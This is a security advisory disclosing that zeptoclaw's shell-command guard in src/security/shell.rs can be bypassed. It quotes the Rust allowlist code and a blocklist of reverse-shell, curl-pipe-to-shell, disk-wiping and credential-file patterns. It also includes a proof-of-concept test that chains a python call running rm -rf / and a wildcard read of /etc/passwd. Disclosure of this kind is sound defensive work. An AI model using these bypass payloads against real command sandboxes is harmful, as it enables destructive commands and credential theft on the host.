zeptoclaw implements a allowlist combined with a blocklist to prevent malicious shell commands in src/security/shell.rs. However, even in the Strict mode, attackers can completely bypass all the guards from allowlist and blocklist:
allowlist, command injection is enough, such as ;, $() etc.REGEX_BLOCKED_PATTERNS, argument injection is enough, such as the python3 -P -c "..."LITERAL_BLOCKED_PATTERNS, file name wildcards can do the work, such as cat /etc/pass[w]dIn code src/security/shell.rs#L218-L243, one can see the allowlist only checks the first token and thus makes command injection possible.
// Allowlist check (runs after blocklist)
if self.allowlist_mode != ShellAllowlistMode::Off && !self.allowlist.is_empty() {
let first_token = command
.split_whitespace()
.next()
.unwrap_or("")
.to_lowercase();
// Strip path prefix (e.g. /usr/bin/git -> git)
let executable = first_token.rsplit('/').next().unwrap_or(&first_token);
if !self.allowlist.iter().any(|a| a == executable) {
match self.allowlist_mode {
ShellAllowlistMode::Strict => {
return Err(ZeptoError::SecurityViolation(format!(
"Command '{}' not in allowlist",
executable
)));
}
ShellAllowlistMode::Warn => {
tracing::warn!(
command = %command,
executable = %executable,
"Command not in allowlist"
);
}
ShellAllowlistMode::Off => {} // unreachable
}
!self.allowlist.is_empty() makes the empty allowlist overlook the allowlist check, if it is in ShellAllowlistMode::Strict mode, empty allowlist should direct reject all the commands.
As the code in src/security/shell.rs#L18-L70, we can find the REGEX_BLOCKED_PATTERNS only apply \s+ in between the command and arguments, making argument injection possible, and the LITERAL_BLOCKED_PATTERNS just uses specific file name, totally overlooking the file name wildcards:
const REGEX_BLOCKED_PATTERNS: &[&str] = &[
// Piped shell execution (curl/wget to sh/bash)
r"curl\s+.*\|\s*(sh|bash|zsh)",
r"wget\s+.*\|\s*(sh|bash|zsh)",
r"\|\s*(sh|bash|zsh)\s*$",
// Reverse shells
r"bash\s+-i\s+>&\s*/dev/tcp",
r"nc\s+.*-e\s+(sh|bash|/bin)",
r"/dev/tcp/",
r"/dev/udp/",
// Destructive root operations (various flag orderings)
r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\s*($|;|\||&)",
r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\*\s*($|;|\||&)",
// Format/overwrite disk
r"mkfs(\.[a-z0-9]+)?\s",
r"dd\s+.*if=/dev/(zero|random|urandom).*of=/dev/[sh]d",
r">\s*/dev/[sh]d[a-z]",
// System-wide permission changes
r"chmod\s+(-R\s+)?777\s+/\s*$",
r"chmod\s+(-R\s+)?777\s+/[a-z]",
// Fork bombs
r":\(\)\s*\{\s*:\|:&\s*\}\s*;:",
r"fork\s*\(\s*\)",
// Encoded/indirect execution (common blocklist bypasses)
r"base64\s+(-d|--decode)",
r"python[23]?\s+-c\s+",
r"perl\s+-e\s+",
r"ruby\s+-e\s+",
r"node\s+-e\s+",
r"\beval\s+",
r"xargs\s+.*sh\b",
r"xargs\s+.*bash\b",
// Environment variable exfiltration
r"\benv\b.*>\s*/",
r"\bprintenv\b.*>\s*/",
];
/// Literal substring patterns (credentials, sensitive paths)
const LITERAL_BLOCKED_PATTERNS: &[&str] = &[
"/etc/shadow",
"/etc/passwd",
"~/.ssh/",
".ssh/id_rsa",
".ssh/id_ed25519",
".ssh/id_ecdsa",
".ssh/id_dsa",
".ssh/authorized_keys",
".aws/credentials",
".kube/config",
// ZeptoClaw's own config (contains API keys and channel tokens)
".zeptoclaw/config.json",
".zeptoclaw/config.yaml",
];
#[test]
fn test_allowlist_bypass() {
let config =
ShellSecurityConfig::new().with_allowlist(vec!["git"], ShellAllowlistMode::Strict);
assert!(config.validate_command("/usr/bin/git status; python -P -c 'import os; os.system(\"rm -rf /\")'; cat /etc/pass[w]d").is_ok());
}
Unauthorized command execution.
| Software | From | Fixed in |
|---|---|---|
zeptoclaw
|
- | 0.6.2 |
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